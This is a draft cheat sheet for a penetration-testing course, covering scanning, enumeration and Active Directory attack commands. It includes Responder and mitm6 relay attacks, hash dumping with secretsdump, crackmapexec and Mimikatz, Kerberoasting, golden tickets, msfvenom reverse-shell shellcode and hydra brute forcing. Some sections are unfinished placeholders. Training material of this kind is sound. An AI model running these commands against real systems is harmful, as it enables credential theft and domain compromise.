Show Menu
Cheatography

peh-cheatsheat Cheat Sheet (DRAFT) by

A cheatsheat for the PEH course by TCM Security.

This is a draft cheat sheet. It is a work in progress and is not finished yet.

Ports

ftp
21
ssh
22
telnet
23
smtp
25
POP3
110
IMAP
143
smb
139, 445
DNS
53
TFTP
69
SNMP
161

MISCEL­LANOUS

Google Fu

use quotations to find only results that contain the text within the quotation marks.
"­Int­rod­uction to Crypto­gra­phy­"
use
site
keywork to only find results from a specific website.
Introd­uction to Crypto­graphy site:s­tac­kex­cha­nge.com
using the filetype keyword to search for specific file types.
Introd­uction to Crypto­graphy -review filety­pe:pdf
using the allintitle option to search the title of webpages for your provided keywor­d/text
allint­itl­e:index of
using the inurl option to search for the existence of a particular string in a url
inurl:­admin site:s­ome­adm­ins­ite.com
to get results that contain links/­red­irects to the exampl­e.com
link:e­xam­ple.com
use the wildcard to do a wildcard search for results that have anything as the but must begin and end with “hack” and “VPN” respec­tively
"hack * VPN"
to return results of websites that offer similar services to amazon.com , useful if you want to know other compet­itors for a particular service
Dell Laptop relate­d:a­maz­on.com

File transfers

sdsdf
sdsf

Spawing TTY shells

More metasploit

To search for metasploit modules within a metasploit module directory
search /path/­to/­msf­/module -t search­_string
search exploi­ts/­linux -t ftp
Load metasploit plugins during a meterp­reter session
load plugin­-name
Get help on a plugin
help
>> scroll down

ACTIVE DIRECTORY

Gaining Initial Foothold

Use Responder to capture NTLMv2 hashes via LLMNR poisoning
responder -I eth0 -r
Crack capture NTLMv2 hash with hashcat
hashcat -m 5600 ntlmha­sh.txt dictio­nar­y.txt
Use nmap to enumerate domain for targets with SMB signing disabled
nmap --scri­pt=­smb­2-s­ecu­rit­y-m­ode.nse -p445 192.16­8.5­7.0/24
If SMB signing disabled, SMB Relay attack (likely) possible
SMB=Off and HTTP=Off and HTTPS=Off in
/etc/responder/Responder.conf
Then, use ntlmre­layx.py to relay hashes captured by responder to target computer to dump local SAM hashes.
responder -I eth0 -r
then
./ntlmrelayx -tf target­s.txt -smb2s­upport
To get intera­ctive SMB shell
./ntlmrelayx -tf target­s.txt -smb2s­upport -i
Using psexec.py, smbexec.py or wmiexec.py for gaining shell access
./psexec.py GOLD.l­oca­l/j­sno­w:j­ohn­sno­w@1­92.1­68.219.5
Using metasploit psexec
use window­s/s­mb/­psexec
>> set options >>
run
Exploiting IPv6 to create an arbitrary domain user on domain via mitm6 attack
mitm6 -d GOLD.local
>>
ntlmrelayx -6 -tf target­s.txt -wh wpad.G­OLD.local -l adlootdir
Passback attack on MFP devices (e.g, printers)
nc -L -p 389
on attack machine >> enumerate domain for MFPs >> login to MFP >> change LDAP server on MFP to attack IP >> capture hashes on attack machine
Sweep domain for MFP devices using metasp­loit's httpve­rsion
To be edited
------­---­---­---­---­---­-------
Enumerate, Enumerate, Enumerate

Post-C­omp­romise Enumer­ation

To get the Resultant Group Policy config that has been applied on a host. This will output what GPO took precedence for a given config.
gpresult /h output.html
Find file shares on a domain
Invoke­-Sh­are­Finder
OR
Find-D­oma­inShare
------- Enumer­ating with PowerView -------
Run PowerView
. .\Powe­rvi­ew.ps1
Get inform­ation about the domain (DCs IP, name, ...)
Get-Ne­tDomain
Get inform­ation of DCs on the domain — domain name, IP of DC, DC OS, ...
Get-Ne­tDo­mai­nCo­ntr­oller
To get the Default Domain Policy configs
Get-Do­mai­nPolicy
Access complete values of any Powershell property name
(Get-D­oma­inP­oli­cy).name or Get-Do­mai­nPolicy | select name
Get inform­ation of users on the domain
Get-Ne­tUsers or Get-Do­mai­nUser
To fetch just one entity from Get-Ne­tUsers, Get-Ne­tGroups
Get-Ne­tUsers -Identity jsnow
or
Get-Ne­tGroups -Identity "­Domain Admins­"
Get all admins on a domain
Get-Ne­tGroup | Select­-Object Name | Select­-String “admin”
or
Get-Do­mai­nGroup | Select­-Object Name, admincount | Select­-String 1
Get all users in a group
Get-Ne­tGr­oup­Member -Identity “Enter­prise Admins” -Recurse
------- Enumer­ating with BloodHound -------
Default usage to collect mappin­gs/data via the SharpH­oun­d.ps1 Ingestor (noisy option)
Invoke­-Bl­ood­Hound -Domain GOLD.local
Perform more specific collection (less noisy). ? takes ff options:
Group
,
LocalGroup
,
RDP
,
Session
,
Trusts
,
ACL
,
Comput­erOnly
`Invok­e-B­loo­dHound -Domain GOLD.local -Colle­cti­onM­ethod ? --ZipF­ilename output.zip
To collect Sessions currently active on the domain (users log in and out all the time)
Invoke­-Bl­ood­Hound -Colle­cti­onM­ethod Session -Loop -LoopI­nterval HH:MM:SS -LoopD­uration HH:MM:SS
After collec­tion, import to Bloodhound GUI on kali
bloodhound

Post Compromise Attacks

Dumping SAM NTLM hashes on DC with secret­sdump
./secretsdump.py -just-­dc-ntlm GOLD.l­oca­l/d­oma­ina­dmi­nus­er:­pas­swo­rd@­192.16­8.2­19.140
Pass a password across a range of computer on the domain
crackmapexec smb 10.0.0.1/24 -d GOLD.local -u jsnow -p johnsnow
Pass a hash across a range of computer on the domain
crackmapexec 10.0.0.5 -u jsnow -H NThash

--loca­l-auth
for local account login
--sam
to dump sam hashes
Attempt to dump the (local) SAM while running Pass-t­he-­pas­sword
crackmapexec smb 10.0.0.1/24 -d GOLD.local -u jsnow -p johnsnow --sam

or
secret­sdu­mp.py -just-­dc-ntlm GOLD.l­oca­l/j­sno­w:j­ohs­now­@10.0.0.1
To dump LSA secrets on target computer
crackmapexec smb 192.16­8.2­19.0/24 -d DOMAIN.local -u jsnow -p johnsnow --lsa
Crack NTLM hashes using hashcat
hashcat -m 1000 sam_ha­she­s.txt rockyo­u.txt
Gain remote shell with NTLM hash using ps/smb­/wm­i-exec
./psexec.py win_on­e:@­10.0.0.5 -hashes NTLMhash
Token Impers­onation (TI) with metasploit
use window­s/s­mb/exec
>> set options >>
run
>>
load incognito
>>
list_tokens -u
>>
impersonate_token DOMAIN*username*
Add new user via TI attack if impers­onated token is admin
add_user username password
Add new (local) user via TI
add_user username password
Add local users to local groups
add_local_user groupname user_t­o_add
Performing Kerber­oasting Attacks -- get a TGST
/GetUserSPNs.py GOLD.l­oca­l/j­sno­w:j­ohnsnow -dc-ip 192.16­8.2­19.140 -request
Perform Kerber­oasting with user's hash
/GetUserSPNs.py GOLD.l­oca­l/j­sno­w:j­ohnsnow -dc-ip 192.16­8.2­19.140  -hashes NTLMhash -request
Crack a TGST with hashcat
hashcat -m 13100 tgst.txt rockyo­u.txt -O
GPP/cP­assword attack -- finding the
Groups.xml
file
smbclient -L \\\*$DC-IP\\SYSVOL --user GOLD.l­oca­l/j­sno­w%j­ohnsnow

prompt off
>>
recurse on
>>
mget 
Decrypting the cPassword obtain from
Groups.xml
gpp-decrypt $cPassword
Performing a URL File Attack to get more NTLMv2 hashes
create a file:
@somefile.url
>> in created file, put:
[InternetShortcut]
URL=someurl
Performing the Print Nightmare Attack

Post Compromise Attacks -- Mimikatz

First things first
privilege::debug
Dump hashes of currently logged on users
sekurlsa::logonpasswords
Dump SAM hashes
lsadump::lsa /patch
Dump SAM hash of a specific account
lsadump::lsa /inject /name:­krbtgt
Golden Ticket Attack
kerberos::golden /user:someuser /domain:GOLD.local{{&nbsp}}/sid:domainsid /id:500 /krbtgt:NThash/ptt
 

Useful Linux Commands

To locate a file
updatedb
locate FILE
To clone a github repo
git clone REPO_URL
For command2 to execute if and only if command1 execs succes­sfully
COMMAND1 && COMMAND2
For command2 to execute if and only if command1 fails to exec
COMMAND1 || COMMAND2
Print a range of numbers from start to stop with step increment
seq [START_NO] [STEP] STOP_NO

seq 1 256
To split a string into fields based on a delimiter (e.g space), and select the Nth field. Include file if string is in a file and not stdin
"­string to cut into six fields­" | cut -d ' ' -f N
[FILE]
To list open ports on a system
netstat -lp
To kill a process on an open port (thus closing the port)
kill pid_no
To zip a file/d­ire­ctory (-r for recurs­ive­ness)
zip -r zipped­fil­e.zip file-o­r-d­ir-­to-zip
To unzip a zipped file
unzip zipped­fil­e.zip
To list crontab for a user
crontab -u johndoe -l
To create a cronjob to echo "­nic­e" into a file every minute (more on cronjobs here`:
crontab -e
-->
*/1 * * * * echo "­nic­e" >> file.txt
To find a file in directory / with permission of 4000 (
find / -type f -perm -4000
To set SUID bit on a file or dir
chmod u+s
or
chmod 4000
To set SGID bit on a file or dir
chmod g+s
or
chmod 2000
To set sticky bit on a file or dir
chmod +t
or
chmod 1000

Network Commands

To get IP info of network interfaces
ip a
To get arp neighbors
ip n

arp -a
To get info on gateway
ip r

Users and Privileges

To switch between users
su USERNAME
To run a command as user without explicitly switching users
su USERNAME -c "­COM­MAN­D"
To list sudo permis­sions for a user in terminal scope
sudo -l
To elevate priv of a user in terminal scope into super user
sudo su
For persistent super user / root mode
sudo -s
To change passwd for a user
passwd USERNAME
To add a new user account
adduser USERNAME
To view all user accounts, passwd or shadow file
cat /etc/p­asswd 
cat /etc/s­hadow
To view all groups
cat /etc/group
To view sudo users (sudoers)
cat /etc/s­udoers

Linux Services

To start, stop or restart a service
service SERVIC­E_NAME start

service SERVIC­E_NAME stop

service SERVIC­E_NAME restart
To check status of a service
service SERVIC­E_NAME status
 

Stages of Ethical Hacking

inform­ation gathering
using tools like wapalyzer, builtwith, breach­parse,
scanning and enumer­ation
using tools like nmap, dirb, nikto, nessus, sublist3r, amass,
gaining access (explo­ita­tion)
using tools like search­sploit, exploi­t-db, metasp­loit, buffer overflows, bind/r­everse shells
post-e­xpl­oit­ation
using tools like pspy64, linpea­s.sh, winpeas.sh or by doing a hashdump, passwd­/sh­ado­w/g­rou­p/s­udoers file dumps, etc

Scanning and Enumer­ation

Port/S­ervice Scanni­ng/­Dis­covery

enumerate all devices discov­erable on a subnet
netdis­cover -r 10.10.1­0.0/24
nmap TCP half-open scan on all ports with OS/version detection, script scan, tracert
nmap -T4 -sS -p- -A 10.10.1­0.10
nmap scan on range of IPs with only ping scan (port scan disabled)
nmap -T4 -sn 10.10.1­0-­124.0-255
nmap TCP half-open scan for select ports while skipping host discovery
nmap -T4 -sS -p1-1024 -A -Pn 10.10.1­0.0­-255
-sT (for full TCP 3-way handshake scan)
-sU (for UDP scan)
other scan techniques in place of -sS
Nessus scan
service nessusd start
-->
https://kali:8834
Nikto scan

HTTP/S Enumer­ation

Website vuln scan with Nikto
standard directory busting with dirb using default common.txt wordlist. -w ignores warnings. use -r for no recursive search.
Directory busting with dirb specifying wordlists and extensions to append to words probe
`dirb http:/­/un­sec­ure­sit­e.com /path/­to/­wor­dlist -X .html,.php -w
standard directory busting with gobuster
gobuster dir -u https:­//s­ome­sit­e.com -w /path/­to/­wor­d/list
directory busting with gobuster, specify threads and file extensions to append to words
gobuster dir -u http:/­/so­mes­ite.com -w /path/­to/­wor­d/list -x .html,.php
Enumer­ation of tech stack for a website
Some wordlists to use:
/usr/s­har­e/w­ord­lis­ts/­dir­bus­ter­/[d­ire­cto­ry-­lis­t-2.3-­med­ium.txt

/usr/.../­dir­bus­ter­/di­rec­tor­y-l­ist­-lo­wer­cas­e-2.3-­med­ium.txt

Other useful options for dirbusting with gobuster include: -c (to specify cookies string), -a (to set user agent).

Domain Enumer­ation

Sub-domain enumer­ation
sublist3r -d DOMAIN.COM
discover domain names hosted on a server via virtual hosting
dns -n SERVER_IP -r LOCAL_­IP_­RAN­GE_­TO_­SEA­RCH­_FO­R_D­OMAINS {{nb}} dnsrecon -n 10.10.1­0.11 -r 127.0.0.0/24
to add discovered domain to host file
edit /etc/hosts and add mapping:
SERVER_IP DOMAIN­NAM­E.COM
To probe domains for http/s servers using tomnom­nom's httprobe
cat domain­-na­mes.txt | httprobe

SMB Enumer­ation

connect to SMB and list share names
smbclient -L \\\\19­2.1­68.2­19.133
connect to an SMB share
smbclient \\\\19­2.1­68.2­19.13­3\­\SHA­RENAME$
Enumerate SMB with help from modules from metasploit auxiliary
search smb auxiliary

SSH Enumer­ation

connecting to SSH on legacy systems. First start with
ssh login@­ser­verip
and continue increm­entally if needed
ssh userna­me@­10.1­0.1­0.10 -oKexA­lgo­rit­hms­=+d­iff­ie-­hel­lma­n-g­rou­p-e­xch­ang­e-sha1 -oHost­Key­Alg­ori­thm­s=+­ssh-rsa -c aes128-cbc
To connect using private key.
ssh -i id.rsa johndo­e@1­0.0.0.1

NFS Enumer­ation

To mount the network file system on local machine
mount 10.0.0.1:­/sr­v/nfs /mnt

EXPLOI­TATION

Metasploit

Start metasp­loit. [Starting metasploit first time?]
msfconsole
.
[msfdb init && msfcon­sole]
To search for an exploit
search EXPLOI­T_NAME
After search, to select an exploit
use exploi­tdb_id
To see options for an exploit
options
To set a value for an option
set option­_name value
To run exploit
run
or
exploit
Automate metasploit with recourse scripts (
.rc
files)
msfconsole -r FILE_N­AME.rc
To get list of all metasploit payloads via msfvenom
msfvenom --list payloads
To get the list of all options per payload
msfvenom -p payloa­d_name --list­-op­tions
To get list of payload file output formats support by msfvenom
msfvenom --list formats
Basic syntax for using msfvenom
msfvenom -p payloa­d_name OPTION­1=V­ALUE1 OPTION­2=V­ALUE2 -a sys_arch 
-f out_fi­le_­format -o out_fi­le_name
Create revers­e_shell shellcode (e.g. for buffer overflow exploit)
msfvenom -p window­s/s­hel­l_r­eve­rse_tcp LHOST=­10.0.0.1 LPORT=2222 
EXITFUNC=thread -b "­\x0­0" -a x86 -f c

Search­sploit / Exploit-db

To search for an exploit on exploit-db
Use
exploit-db
website or
searchsploit EXPLOI­T_NAME
on terminal
After search, to get full local path on system for an exploit
searchsploit -p EXPLOI­TDB_ID

Reverse shell

Bruteforce

Bruteforce password for a username to a service with hydra
hydra -l username -P /path/­to/­pas­swo­rdlist service://ip_addr:port

hydra -l john -P /usr/s­har­e/j­ohn­/pa­ssw­ord.lst ssh://­10.0.0.1:22
Credential stuffing with hydra
hydra -L userna­mes.txt -P passwo­rds.txt  ftp://­10.0.0.1:21
Credential stuffing with hydra using a file with colon seperated "­una­me:­pas­s" format on multiple targets
hydra -C logins.txt -M target­s.txt -p 139 smb
Bruteforce password for a zip file
fcrackzip -u -D -p /path/­to/­wor­dlist zipfil­e_name
For brutef­orcing web-si­tes­/-apps, use Burp Suite >> Intruder >> Sniper (for password spraying or to try several passwords against a username -- ). Use Burp Suite >> Intruder >> Pitchfork (for credential stuffing) or use Burp Suite >> Intruder >> Cluster bomb (for credential stuffing that tries every combin­ation of userna­me/­pas­sword)

Post Exploi­tation

 

Dump password hashes of user accounts
hashdump
To identify a type of hash
hash-identifier
To crack a hash using hashcat (check https:­//h­ash­cat.ne­t/w­iki­/do­ku.p­hp­?id­=ha­shcat for hash-mode)
hashcat -m hash-mode digest /path/­to/­wor­dlist
hashcat -m 0 cd7350­282... wordli­st.txt